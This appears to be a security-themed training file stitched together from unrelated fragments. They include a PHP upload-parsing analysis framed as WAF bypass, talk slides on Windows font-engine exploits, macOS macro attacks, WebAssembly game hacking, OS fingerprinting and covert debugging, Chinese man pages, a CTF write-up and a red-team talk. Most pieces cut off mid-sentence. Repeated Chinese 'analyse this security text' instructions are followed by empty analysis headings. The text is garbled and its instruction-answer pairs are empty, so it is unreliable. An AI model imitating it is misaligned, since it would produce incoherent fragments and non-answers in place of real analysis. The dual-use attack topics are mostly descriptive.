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1 php件上传处理流程简单分析-php在流量层 绕waf的姿势 boundary值处理 body处理 filename的特殊处理 作者:帽酱 php件上传处理在 main/rfc1867.c 中的 rfc1867_post_handler函数 测试环境 PHP 7.1.9 boundary值处理 2 SAPI_API SAPI_POST_HANDLER_FUNC(rfc1867_post_handler) C 复制代码 if (SG(post_max_size) > 0 && SG(request_info).content_length > SG(post_max_size)) { sapi_module.sapi_error(E_WARNING, "POST Content-Length of " ZEND_LONG_FMT " bytes exceeds the limit of " ZEND_LONG_FMT " bytes", SG(request_info).content_length, SG(post_max_size)); return; } /* Get the boundary */ boundary = strstr(content_type_dup, "boundary");//查找是否包含boundary if (!boundary) { int content_type_len = (int)strlen(content_type_dup); char *content_type_lcase = estrndup(content_type_dup, content_type_len); php_strtolower(content_type_lcase, content_type_len); boundary = strstr(content_type_lcase, "boundary"); if (boundary) { boundary = content_type_dup + (boundary - content_type_lcase); } efree(content_type_lcase); } if (!boundary || !(boundary = strchr(boundary, '='))) {//判断boundary值起始 位置 sapi_module.sapi_error(E_WARNING, "Missing boundary in multipart/form-data POST data"); return;//传畸形的boundary会抛出警告 (可以来检测标php是否开启错误回显) } boundary++; boundary_len = (int)strlen(boundary); if (boundary[0] == '"') {//引号包裹 boundary++; boundary_end = strchr(boundary, '"'); if (!boundary_end) { sapi_module.sapi_error(E_WARNING, "Invalid boundary in multipart/form-data POST data"); return; } } else {//引号包裹 /* search for the end of the boundary */ boundary_end = strpbrk(boundary, ",;");//截字符 } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 3 先php先从Content-Type是否包含boundary字符串 之后寻找等号的位置作为起始位置获取boundary值 boundary的值有引号包裹和引号包裹两种情况 在引号包裹时可以使逗号或分号作为终字符 到这就可以总结出有效boundary格式了 {任意字符}boundary{除等号外任意字符}=["]{boundary内容}["][[,;]{任意字符}] if (boundary_end) { boundary_end[0] = '\0'; boundary_len = boundary_end-boundary; } /* Initialize the buffer */ if (!(mbuff = multipart_buffer_new(boundary, boundary_len))) { sapi_module.sapi_error(E_WARNING,


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开源生态白皮书 2020 年 中国信息通信研究院 2020年10月 版权声明 本白皮书版权属于中国信息通信研究院并受法律保护 转载摘编或利用其它方式使用本白皮书文字或者观点的 应注明来源中国信息通信研究院违反上述声明者本 院将追究其相关法律责任 前 言 近几年开源技术快速发展在云计算大数据人工智能等领域 逐渐形成技术主流开源技术已经成为企业构建信息系统的重要选择 国内企业参与开源生态的热情度持续提升 本白皮书是中国信息通信研究院在开源领域发布的白皮书分析 国内外开源生态发展现状梳理当前发展热点展望未来发展趋势 白皮书首先介绍了开源生态发展概况重点围绕开源布局开源运营 开源治理开源风险行业开源等开源领域热点话题进行探讨最后 对开源生态未来发展进行了展望 目 录 一 开源生态概述 .................................................. 1 一开源概念逐渐明晰 .......................................... 1 二开源生态以开源项目为中心构建 .............................. 2 二 开源生态发展现状 .............................................. 3 一开源数量持续攀升我国开源覆盖全栈技术领域 ................ 3 二开源占据各领域主要市场份额我国开源应用逐年攀升 .......... 6 三开源企业数量保持稳定增长我国企业呈现主动开源趋势 ....... 12 四开源基金会成为开源运营重要角色 ........................... 15 五各行业开源生态已经形成我国行业积极拥抱开源 ............. 16 六开源风险问题凸显成为开源应用屏障 ....................... 19 七全球开源治理理念兴起我国初步形成开源治理模式 ........... 21 八开源配套政策正在完善我国政策引导开源社区构建 ........... 22 三开源成为企业商业布局的重要手段 ................................. 24 一全球开源商业模式多样化发展 ............................... 24 二全球开源企业已启动收购模式进一步扩大用户群体 ........... 25 三我国开源企业已初步构建形成有影响力的开源项目 ............. 27 四全球开源基金会运营模式成熟我国率先探索联盟运营机制 ........... 30 一良好的开源社区是形成开源代码的前提条件 ................... 30 二开源基金会运营通过知识产权托管培育开源社区 ............... 31 三我国逐步形成稳定的开源运营机制 ........................... 34 五传统行业逐步拥抱开源生态我国行业用户关注开源使用 ............. 35 一工业互联网布局开源看重产业数字化新机遇 ................... 35 二电信行业由用户侧及运营商推动开源探索产品创新 ........... 36 三政府采购行业发展开源看重公开透明 ......................... 38 四金融机构开源看重产业创新力和市场布局 ..................... 39 六开源风险问题复杂开源治理体系正在构建 ......................... 41 一知识产权合规及安全漏洞风险相对普遍 ....................... 41 二开源法律和知识产权环境推动开源良性发展 ................... 44 三开源治理工具加速企业开源治理体系构建 ..................... 45 四开源治理模式逐步落地 ..................................... 46 七开源生态未来发展趋势与建议 ..................................... 47 一开源生态未来发展趋势 ..................................... 47 二我国开源生态发展建议 ..................................... 49 附录一开源软件风险扫描 ............................................ 1 一许可证及合规风险 .......................................... 1 二安全漏洞风险 ..............


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Its all about the timing. . . Haroon Meer and Marco Slaviero {haroon,marco}@sensepost.com SensePost Abstract This paper is broken up into several distinct parts, all related loosely to timing and its role in information se- curity today. While timing has long been recognized as an important component in the crypt-analysts arse- nal, it has not featured very prominently in the domain of Application Security Testing. This paper aims at highlighting some of the areas in which timing can be used with great eﬀect, where traditional avenues fail. In this paper, a brief overview of previous timing attacks is provided, the use of timing as a covert channel is examined and the eﬀectiveness of careful timing during traditional web application and SQL injection attacks is demonstrated. The use of Cross Site Timing in bypass- ing the Same Origin policy is explored as we believe the technique has interesting possibilities for turning innocent browsers into bot-nets aimed at, for instance, brute-force attacks against third party web-sites. 1 Introduction The movement of applications onto the Web has not removed old threats, it has perhaps just coated them a little with the veneer of AJAX and pastel colours. Underneath, the old issues are still present. In this paper, we examine one really ancient class of vulner- abilities, timing attacks, and carry to its logical con- clusion the combination of malicious websites, innocent victims, JavaScript and a healthy dose of timing mea- surements. Occasionally the websites are not malicious and the victims not entirely innocent, but the timing measurements remain throughout. We start with a background on timing attacks in Section 2, and discuss timing as a covert channel in Section 3. Section 4 is lengthy and shows how the mi- gration from regular DNS tunnels to timing channels reduce the bandwidth of output retrieval in SQL injec- tion, but also reduce the requirements placed on the targeted database. In Section 5 we discuss using timing


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.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "DROP OPERATOR CLASS" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME DROP OPERATOR CLASS \- 删除一个操作符类 .SH SYNOPSIS .sp .nf DROP OPERATOR CLASS \fIname\fR USING \fIindex_method\fR [ CASCADE | RESTRICT ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBDROP OPERATOR CLASS\fR 从数据库中删除一个现有操作符表要执行这条命令你必须是此操作符表的所有者 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 一个现存操作符表的名字可以用模式修饰 .TP \fB\fIindex_method\fB\fR 操作符表所对付的索引访问方法的名字 .TP \fBCASCADE\fR 自动删除依赖于该操作符表的对象 .TP \fBRESTRICT\fR 如果有任何依赖对象存在则拒绝删除此操作符表这个行为是缺省 .SH "EXAMPLES 例子" .PP 删除 B-tree 操作符表 widget_ops .sp .nf DROP OPERATOR CLASS widget_ops USING btree; .sp .fi 如果有任何现存的索引使用这个操作符表那么这条命令将不能 执行增加一个 CASCADE 删除这样的索引以及这个 操作符表 .SH "COMPATIBILITY 兼容性" .PP 在 SQL 标准里没有 DROP OPERATOR CLASS .SH "SEE ALSO 参见" ALTER OPERATOR CLASS [\fBalter_operator_class\fR(7)], CREATE OPERATOR CLASS [\fBcreate_operator_class\fR(l)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>


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深入理解 Windows 字体解析引擎漏洞 wang yu SyScan(+)360, 2012 议题简介 第一部分 议题简介 关于作者 ( wangyu@360.cn ) 议题背景 2011 年 12 月微软月度安全更新修复了此 前曾被Duqu 恶意软件利用的 Win32K 内核漏洞 同月在中国更受关注的一个话题是网站后 台数据库的安全性问题 本议题将聚焦于 Win32K 字体解析引擎的设 计与实现以白盒的视角审视 Duqu 0-day 的利用细 节 议题简介 议题涵盖 - 字体解析引擎客户端接口 ( Font Scaler Client Interface ) 的背景设计与实现 - 演示如何在系统用户态实现字体引擎 ( Font Scaler ) 的客户端  引擎的反内核化示例 - 作为系统内核态字体引擎的客户端Win32K 模块是 如何与之交互的  Win32K 的调用假设 - Duqu 与 MS11-087 远程可执行漏洞 - 字体引擎的更多审计 责任声明 从点阵字体到轮廓字体 第二部分 启动扇区里的小游戏 演示640*480*16 色图形模式写方式二  写点 从点阵字体到轮廓字体 An Improved Representation for Stroke-based Fonts 点阵位图  优点与缺点 从点阵字体到轮廓字体 轮廓字体  优点与缺点 从点阵字体到轮廓字体 我们站在巨人的肩膀之上 数字字体的混沌时期 从复印机到 PostScript 页面描述语言从 Xerox 到 Adobe 苹果公司的加入  LaserWriter1985 年 从操作系统的角度考虑苹果公司从上世纪八十年代末开始 研发自己的可缩放字体技术  Royal这即 TrueType 的 前身 两种流派两种理念 - PostScript Type 1 : cubics; "smarter" fonts, "dumber" interpreter - TrueType : quadratics; "dumber" 字体解析引擎客户端接口 第三部分 引擎起源 PostScript Type 1 vs. Royal ( TrueType ) PostScript 早于后者六年 Royal ( TrueType ) vs. TrueImage "Apple traded the technology to Microsoft in exchange for the latter 's PostScript clone technology 'TrueImage' ... which was buggy at the time, and never used by Apple"...  Thomas W. Phinney 内核化后TrueType 字体引擎 ( Font Scaler ) 实现于 Win32K 模块的内部而 Win32K 模块 也可被视为字体引擎的调用者或引擎客户端 引擎的导出接口即 Font Scaler Client Interface 目标研究手段 Duqu 0-day 让我充满好奇 "Initially, it even caused confusion among researchers who believed Duqu was exploiting a vulnerability in the MS Word format itself"...  Ivan Teblin 静态逆向 动态跟踪 当然理论上我还可以... 白盒分析 还具备参考价值吗 白盒评估 从宏观角度引擎架构从微观角度代码笔误 sfac_LoadCriticalSfntMetrics  6.2.9200.16384 sfntaccs.c line:953 sfac_DoOffsetTableMap sfntaccs.c line:252 还可以工作吗 I'm Feeling Lucky! 工欲善其事 必先利其器 字体格式分析工具 TTFDump (FontTools) http://www.microsoft.com/typography/tools/tools.aspx 工欲善其事 必先利其器 呃... TTFDump 唯一的问题就是问题太多 工欲善其事 必先利其器 字体调试工具 TrueTypeViewer http://home.kabelfoon.nl/~slam/fonts/truetypeviewer.html 工欲善其事 必先利其器 囧... 好的 引擎的重要接口 Font Scaler Client Interface 表 Font Scaler Client Interface 引擎的重要接口 续表 Font Scaler Client Inter


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Office Drama ...on macOS WHOIS @patrickwardle analysis exploit chain OUTLINE history Evil Office Docs! defense Recent History macro based attacks, targeting macOS ...defined MACROS Macro: "A macro is a series of commands & instructions that you group together as a single command to accomplish a task automatically" -Microsoft Sub AutoOpen() MsgBox "Hello World!", 0, "Title" End Sub 01 02 03 + MSOffice document + code tl;dr: add code to documents macro code (VBScript) ...of course (ab)used by attackers MACROS + though mitigations... now on macOS? MACROS more macs... malicious & potentially unwanted files for macOS (Kasperksy) more mac malware... macro attack 2017 "New Attack, Old Tricks" objective-see.com/blog/blog_0x17.html "U.S. Allies and Rivals Digest Trumps Victory - Carnegie Endowment for International Peace.docm" discovery & (limited) detection macro attack 2018 "Word to Your Mac" objective-see.com/blog/blog_0x3A.html "BitcoinMagazine- Quidax_InterviewQuestions_2018.docm" download & exec 2nd-stage (python) payload sandbox escape! discovery & (limited) detection macro attack 2019 "Cryptocurrency businesses still being targeted by Lazarus" securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus "샘플_기술사업계획서(벤처기업평가용.doc" is mac? infected document (credit: kaspersky) download & exec 2nd-stage (mach-O) payload Analysis understanding macro based attacks EXTRACTING EMBEDDED MARCOS oletools, ftw $ sudo pip install -U oletools $ olevba -c <path/to/document> $ olevba -c ~/Documents/HelloWorld.docm olevba 0.55.1 on Python 3.7.3 - http://decalage.info/python/oletools ===================================================================== FILE: /Users/patrick/Documents/HelloWorld.docm Type: OpenXML --------------------------------------------------------------------- VBA MACRO ThisDocument.cls in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Sub AutoOpen() MsgBox "Hello World!",


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# IoC容器 --- ## 什么是容器 容器是一种为某种特定组件的运行提供必要支持的一个软件环境例如Tomcat 就是一个 Servlet 容器它可以为 Servlet 的运行提供运行环境类似 Docker 这样的软件也是一个容器它提供了必要的 Linux 环境以便运行一个特定的 Linux 进程 通常来说使用容器运行组件除了提供一个组件运行环境之外容器还提供了许多底层服务例如Servlet 容器底层实现了 TCP 连接解析 HTTP 协议等非常复杂的服务如果没有容器来提供这些服务我们就无法编写像 Servlet 这样代码简单功能强大的组件早期的 JavaEE 服务器提供的 EJB 容器最重要的功能就是通过声明式事务服务使得 EJB 组件的开发人员不必自己编写冗长的事务处理代码所以极大地简化了事务处理 Spring 的核心就是提供了一个 IoC 容器它可以管理所有轻量级的 JavaBean 组件提供的底层服务包括组件的生命周期管理配置和组装服务AOP 支持以及建立在 AOP 基础上的声明式事务服务等


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Hacking WebAssembly Games with Binary Instrumentation WEBASSEMBLY 101 WASM 101 > Developers have done (and continue to do) incredible work speeding up Javascript > However, the dynamic nature of Javascript will always be a roadblock > WebAssembly provides a static, pre-compiled binary format for performance intensive applications WASM 101 > WebAssembly "deﬁnes an instruction set and binary format for an assembly-like architecture" > WebAssembly is built to be targetable by existing compilers and languages > Finally we can write web applications in C! WASM USES > WebAssembly video games are becoming very common > Look at any browser game website (Newgrounds, Kongregate, etc) > Unity3D and Unreal Engine 4 can now both target WebAssembly > This means theres a lot of targets without a lot of tools WASM USES > WebAssembly is used for a lot of types of applications, not just video games > Retargeted desktop applications > 3D applications > Crypto miners > ...etc > These techniques are not video game speciﬁc  video games are just the most fun target WASM REVERSING > With WebAssembly, web RE has started to feel more like traditional binary RE > Back to the disassembler! > A few tools support WebAssembly (mostly static analysis) > radare2 > JEB decompiler > wabt (WebAssemby Binary Toolkit) WASM REVERSING > Browser debugging capabilities for WASM are pretty lacking > No watchpoints > No conditional breakpoints > Lots of bugs VIDEO GAME REVERSING > Video games are a unique challenge when it comes to RE > Video game binaries are typically much larger and more complex than other applications > Video games are more performance intensive, and performance impacts are more noticeable > No one wants to play a game at 5 FPS > With this in mind, I was looking for a tool like Cheat Engine for WASM CHEAT ENGINE > Cheat Engine (made by Dark Byte) is effectively a specialized debugger for hacking video games > Cheat Engine can: > Search memory > Modify and freeze memory > Set watchpoints >


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1  Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools On the Current State of Remote Active OS Fingerprinting Tools Ofir Arkin CTO ofir.arkin@insightix.com Defcon 13 2  Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools What this talk is about?  This talk examines different aspects of remote active operating system fingerprinting  Examines different active OS fingerprinting methods & techniques  Discusses their limitations and advantages  Explains the state of the current used technology  Deals with the question of what can and cannot be accomplished using remote active OS fingerprinting  Looks at what should be done in the future  Analyzes the accuracy aspects of remote active OS fingerprinting and of several active OS fingerprinting tools  Presents the new version of Xprobe2 (Xprobe2 v0.3) 3  Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Ofir Arkin  CTO and Co-Founder, Insightix http://www.insightix.com  Founder, The Sys-Security Group http://www.sys-security.com  Computer Security Researcher  Infrastructure Discovery  ICMP Usage in Scanning  Xprobe2 (The Active OS Fingerprinting Tool)  VoIP Security  Information Warfare  Member  VoIPSA (Board member, chair security research committee) 4  Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Remote Active OS Fingerprinting An Introduction 5  Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools An Introduction  Remote Active operating system fingerprinting is the process of actively determining a targeted network nodes underlying operating system by probing the targeted system with several packets and examining the response(s), or lack thereof, received  The traditional approach is to examine the TCP/IP stack behavior (IP, TCP, UDP, and ICMP protocols) of a targeted network element when probed


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# Who do I Trust Misc, 100 points ## Description: > Who issued the certificate to tamuctf.com? > (Not in standard gigem{flag} format) ## Solution: We can use `curl` to determine the CN of the certificate issuer. ```console root@kali:/media/sf_CTFs/tamu# curl -vI https://tamuctf.com * Rebuilt URL to: https://tamuctf.com/ * Trying 52.33.57.247... * TCP_NODELAY set * Connected to tamuctf.com (52.33.57.247) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: none CApath: /etc/ssl/certs * (304) (OUT), TLS handshake, Client hello (1): * (304) (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Client hello (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-CHACHA20-POLY1305 * ALPN, server accepted to use http/1.1 * Server certificate: * subject: CN=tamuctf.com * start date: Feb 4 22:49:02 2019 GMT * expire date: May 5 22:49:02 2019 GMT * subjectAltName: host "tamuctf.com" matched cert's "tamuctf.com" * issuer: C=US; O=Let's Encrypt; CN=Let's Encrypt Authority X3 * SSL certificate verify ok. ```


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Fast Forensics Using Simple Statistics & Cool Tools WHATS ALL THE FFUSS ABOUT? Do You Hear What I Hear? 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 2 Overview  What Can Us Defenders Do?  Malware Effects  What did the malware affect?  Where are all the bad files?  Did it modify the registry? Processes? Services?  File Type & Content Identification  Is this file really a jpeg?  Compressed or encrypted or packed?  Steganalysis  Reversing XOR Encryption  Others  ??? 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 3 Overview  Attacker Tools  Executable Packers - Ultimate Packer for eXecutables (UPX)  Base32/64 Encoders  Compressors  7Zip, Winzip, gzip  Encryptors - Axcrypt  Wrappers*  Disguise a file as a bitmap or wave  Steganography Tools  Steg LSB*, Steg Jpg*, many others 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 4 *Written by: John Ortiz Overview  Defender Tools  Hex Editors  XVI32 is one free one  there are many  Strings  Extract sequences of characters from a file  Footprint*  Snapshot of files, registry entries, processes, and services  Write Bitmap Histogram (WBH)*  Image and the statistics  Statistical Analyzer*  Autonomous identification 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 5 *Written by: John Ortiz TOOL: Wrappers  Wrappers is a small utility to put a bitmap or wave header on any arbitrary file  Essentially disguises a file  it has a valid header  You can see or hear any file  Wrappers.exe -f Solitaire.exe -t bmp -s g  Converts Solitaire.exe into the grayscale image you saw in the intro slide  Well use it for demos 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 6 TOOL: Steg LSB  Hides arbitrary data in Least Significant Bit(s) in bitmap images  User can choose number of bits (left: 3 bits/pixel, right: 5 bits/pixel) 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 7 TOOL: Steg JPG  Hides arbitrary data in DCT coefficients of jpeg file  Right: original jpg, left: 2


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1 janne.lindqvist@tml.hut.fi June 30, .2007 IPv6 is Bad for Your Privacy Janne Lindqvist Helsinki University of Technology (TKK) and International Computer Science Institute (ICSI) 2 janne.lindqvist@tml.hut.fi June 30, .2007 Definition  A covert channel is a mechanism that is not designed for communication, but can nonetheless be abused to allow information to be communicated between parties. 3 janne.lindqvist@tml.hut.fi June 30, .2007 Related Work  S. J. Murdoch and S. Lewis, Embedding covert channels into TCP/IP, in 7th Information Hiding Workshop, June 2005.  K. Ahsan and D. Kundur, Practical Data Hiding in TCP/IP, in Proceedings of the Multimedia and Security Workshop at ACM Multimedia, Dec. 2002.  S. Cabuk, C. E. Brodley, and C. Shields, IP covert timing channels: design and detection, in Proceedings of the 11th ACM conference on Computer and communications security, Oct 2004.  C. Candolin and P. Nikander, IPv6 source addresses considered harmful, in Sixth Nordic Workshop on Secure IT (NordSec), Nov. 2001.  A. Escudero-Pascual, Privacy in the next generation Internet: Data protection in the context of European Union policy, Ph.D. dissertation, Royal Institute of Technology, 2002. 4 janne.lindqvist@tml.hut.fi June 30, .2007 IPv6 Stateless Address Autoconfiguration  Unicast IPv6 address consists of two parts  64 bits for subnet prefix  64 bits for interface identifier  IPv6 Stateless Address Autoconfiguration is used for autoconfiguring addresses without a server  Does not require manual configuration or DHCPv6  Autoconfiguration mechanism to acquire link-local and global IPv6 addresses. 5 janne.lindqvist@tml.hut.fi June 30, .2007 Autoconfiguration and Duplidate Address Detection Procedure  A node chooses a tentative address candidate  The node then performs Duplicate Address Detection  The tentative address is multicasted to the link-local network.  If the address is already in use, the node using the address replies to the message and the first node chooses a d


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

Covert Debugging Circumventing Software Armoring Techniques Offensive Computing, LLC Danny Quist Valsmith dquist@offensivecomputing.net valsmith@offensivecomputing.net Offensive Computing - Malware Intelligence Danny Quist  Offensive Computing, Cofounder  PhD Student at New Mexico Tech  Reverse Engineer  Exploit Development  cDc/NSF Offensive Computing - Malware Intelligence Valsmith  Offensive Computing, Cofounder  Malware Analyst/Reverse Engineer  Metasploit Contributor  Penetration Tester/Exploit developer  cDc/NSF Offensive Computing - Malware Intelligence Offensive Computing, LLC  Community Contributions  Free access to malware samples  Largest open malware site on the Internet  350k hits per month  Business Services  Customized malware analysis  Large malware data-mining / access  Reverse Engineering Offensive Computing - Malware Intelligence Introduction  Debugging Malware is a powerful tool  Trace Runtime Performance  Monitor API Calls  Dynamic Analysis == Automation  Malware is getting good at preventing it  Debugger Detection  VM Detection  Legitimate Software Pioneered these Techniques Offensive Computing - Malware Intelligence Overview of Talk  Software Armoring Techniques  Covert Debugging Requirements  Dynamic Instrumentation for Debugging  OS Pagefault Assisted Covert Debugging  Application  Generic Autounpacking  Results Offensive Computing - Malware Intelligence Software Armoring  Packing/Encryption  VM Detection  SEH Tricks  Debugger Detection  Shifting Decode Frame  Example: Microsofts Patchguard Offensive Computing - Malware Intelligence Packing/Encryption  Self-modifying Code  Small Decoder Stub  Decompresses the main executable  Restores imports  Play Tricks with Portable Executables  Hide the Imports  Obscure relocations  Encrypt/compress the executable Offensive Computing - Malware Intelligence Normal PE File Offensive Computing - Malware Intelligence Packed PE File Offensive Computing - Malware Intelligence Virtual Machine Detection  Single


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

.TH FIND 1 \" -*- nroff -*- .SH NAME find \- 递归地在层次目录中处理文件 .SH 总览 SYNOPSIS .B find [path...] [expression] .SH 描述 DESCRIPTION 这个文档是GNU版本 .BR find 命令的使用手册 .B find 搜索目录树上的每一个文件名它从左至右运算给定的表达式按照优先规则(见运 算符OPERATORS一节)进行匹配直到得出结果左边运算在 '与' 操作中得出假 在'或' 操作中得出真然后 .B find 移向下一个文件名 .PP 第一个以 '\-' , '(' , ')' , ',' 或 '!' 这些字符起始的参数是表达式的开始; 在它之前的任何参数是要搜索的路径在它之后的任何参数都是表达式的余下部分 如果没有路径参数缺省用当前目录如果没有表达式缺省表达式 用 '\-print'. .PP 当所有文件都成功处理时 .B find 退出并返回状态值0如果发生错误则返回一个大于0的值 .SH 表达式 EXPRESSIONS .P 表达式是由\fB选项\fR(选项总是影响所有的操作, 而不仅仅是一个指定的文件的处 理, 而且总是返回真值)\fB测试\fR(测试返回一个真值或一个假值)还有\fB动 作\fR(动作有side effects, 返回一个真值或假值) 组成它们都以运算符分开.忽 略运算符的时候默认使用 \-and 连接. 如果表达式没有包含 \-prune 以外的动 作当表达式为真时会执行 \-print 动作 .SS 选项 OPTIONS .P 所有的选项都总是返回真值它们总会被执行除非放在表达式中执行不到的地方 因此清楚起见最好把它们放在表达式的开头部分 .IP \-daystart 从当日起始时开始而不是从24小时之前计算时间(for \-amin, \-atime, \-cmin, \-ctime, \-mmin, and \-mtime) .IP \-depth 先处理目录的内容再处理目录本身 .IP \-follow 不检索符号链接隐含了 \-noleaf .IP "\-help, \-\-help" 列出 .B find 的命令行用法的概要然后退出 .IP "\-maxdepth \fIlevels\fR" 进入命令行参数指定的目录下层目录时最深不超过\fIlevels\fR(一个非负整数) 层`\-maxdepth 0' 意味着只在命令行参数指定的目录中执行测试和动作 .IP "\-mindepth \fIlevels\fR" 不在\fIlevels\fR(一个非负整数)层之内执行任何测试和动作`\-mindepth 1'意 味着处理所有的文件除了命令行参数指定的目录中的文件 .IP \-mount 不进入处于其它文件系统之上的目录可以用\-xdev代替从而和一些其他版本的 .BR find 兼容 .IP "\-noleaf" 不为\(lq目录中子目录数量比硬连接数少2\(rq这种假设做优化这个选项在搜索那些不遵 循UNIX文件系统链接约定的文件系统时用比如CD-ROM,MS-DOS文件系统或AFS卷的 加载点在普通的UNIX文件系统中,每个目录至少有两个硬连接,它的名字和它 的 '.' 条目另外它的子目录(假如有)还会各有一个 '..' 链接到它在 .B find 检索一个目录时发现子目录数比它的连接数少二时它就知道目录中的其他条目 并非目录(而是目录树中的叶(`leaf')节点)除非需要检索的是这个叶节点否则 没必要去处理它这样可以带来很大的搜索速度提升 .IP "\-version, \-\-version" 打印\fBfind\fR的版本号然后退出 .IP \-xdev 不进入处于其他文件系统之上的目录 .SS 测试 TESTS .P 数字参数可以这样给出 .IP \fI+n\fP 是比 .IR n 大 .IP \fI\-n\fP 是比 .IR n 小 .IP \fIn\fP 正好是 .IR n  .IP "\-amin \fIn\fR" 对文件的最近一次访问是在 \fIn\fR 分钟之前 .IP "\-anewer \fIfile\fR" 对文件的最近一次访问比 \fIfile\fR 修改时间要晚如果命令行中 \-follow 在 \-anewer 之前(也只有在这种情况下) \-anewer 会受 \-follow 的影响 .IP "\-atime \fIn\fR" 对文件的最近一次访问是在 \fIn\fR*24 小时之前 .IP "\-cmin \fIn\fR" 对文件状态的最近一次修改是在 \fIn\fR 分钟之前 .IP "\-cnewer \fIfile\fR" 对文件状态的最


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

以攻促防  企业红蓝对抗体系建设 关于我 胡珀 / lake2 腾讯 - 技术工程事业群TEG- 安全平台部 应用运维安全总监基础安全负责人资深专家工程师 腾讯安全应急响应中心TSRC Tencent Blade Team 安全研究团队 腾讯蓝军及倚天蓝军自动化平台 主导 逾十五年网络安全经验 2007年加入腾讯一直从事基础安全相关工作 安全组织80SEC/蓝星群/企业蓝军联盟COS成员 企业安全体系建设思路 - SDL  安全技术培训  安全意识培训  安全规范  安全技术培训  安全意识培训  安全规范  代码审计  渗透测试  应急响应执行  人工巡查  漏洞扫描系统  安全情报系统  安全需求建立  质量标准建立  风险识别  提供安全开发工具  安全开发模范和最 佳实践  安全API  应急响应方案  上线前集成环境安 全检查  安全运维规范 培训/training 设计/design 验证/verification 响应/response 要求/requirements 实施/implementation 发布/release Security Development Lifecycle 企业安全体系建设思路 - DevSecOps 一个问题 建立了安全团队 建设了各类安全规范安全系统 安全流程 那么现在足够安全 了吗 如何验证安全体系是否有效 实战是检验安全防护能力的唯一标准 Talk is CheapShow me the Shell Red Team蓝军与红蓝对抗的概念 理念来自军事演习 Red Team 红队/蓝军 攻击方 发起网络攻击验证 Blue Team 蓝队 防守方 负责网络攻击防守 Purple Team 紫队 协调方 检验攻防双方效果 渗透测试与红蓝对抗 红蓝对抗是传统的渗透测试的升级版 腾讯蓝军体系建设实践 自2006年渗透测试开始 从单一Web漏洞挖掘到整体安全体系验证 覆盖APT攻击DDoSAIoT风控安全办 公室窃听等场景 衍生出专门的战略支援团队及平台 引入外部白帽子及众测 为腾讯云大客户提供服务 系统安全蓝军黑客攻防 传统的系统漏 洞挖掘及模拟 APT攻击 网络安全蓝军DDoS攻防 模拟各类资源消耗型流量阻塞型的DDoS攻击检验DDoS防护体系 业务安全蓝军风控攻防 模拟各类黑产检验业务安全防护体系 物理安全蓝军窃听风云 模拟会议室窃听近源渗透等场景检验物理安全防护体系 泛蓝军 - SRC与众测 以众多第三方的独立视角帮助发现实际安全风险 泛蓝军  支援部队 战略支援部队工具平台研发安全技术研究支持 红蓝对抗实战案例一 2010年一次红蓝对抗模拟黑客进行渗透挖掘漏洞同时检验HIDS的入侵检测能力 红蓝对抗实战案例二 2018年一次红蓝对抗启动无人机挂载无线电发射器飞到智能楼宇36层进行近源渗透 展示智能楼宇的安全风险 HITB 2018HACKING INTELLIGENT BUILDING 蓝军经验沉淀  倚天蓝军平台建设 将个人能力和经验沉淀为平台策略尽量自动化实现红蓝对抗检验 测试版已发现外部35个企业70个严重漏洞均已通过对应SRC提交 各蓝军团队的分工与协作  腾讯经验 开源协同解决跨团队的多支蓝军的竞争与合作 内部开源底层技术平台共建 协同作战子领域各自分任之 红蓝对抗Oteam 尝试为行业做一些微小贡献 企业蓝军联盟COSCyber Offensive Security由 avfisher 发起的闭门会 旨在 促进行业内蓝军团队技术交流 促进行业内蓝军团队互助与合作 推动行业内企业蓝军体系建设 制定行业蓝军技术标准 (?) 总结 关注安全风险更要关注安全防御体系的缺陷 不止是渗透红蓝对抗领域应该是全方位的 不要依赖单兵作战红蓝对抗能力需要沉淀为自动化平台 在HW推动下红蓝对抗将飞速发展不论是技术还是商业化 关注法律风险一切行动都需要在合法合规条件下进行 谢谢观看 虽是陌路亦可相识


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

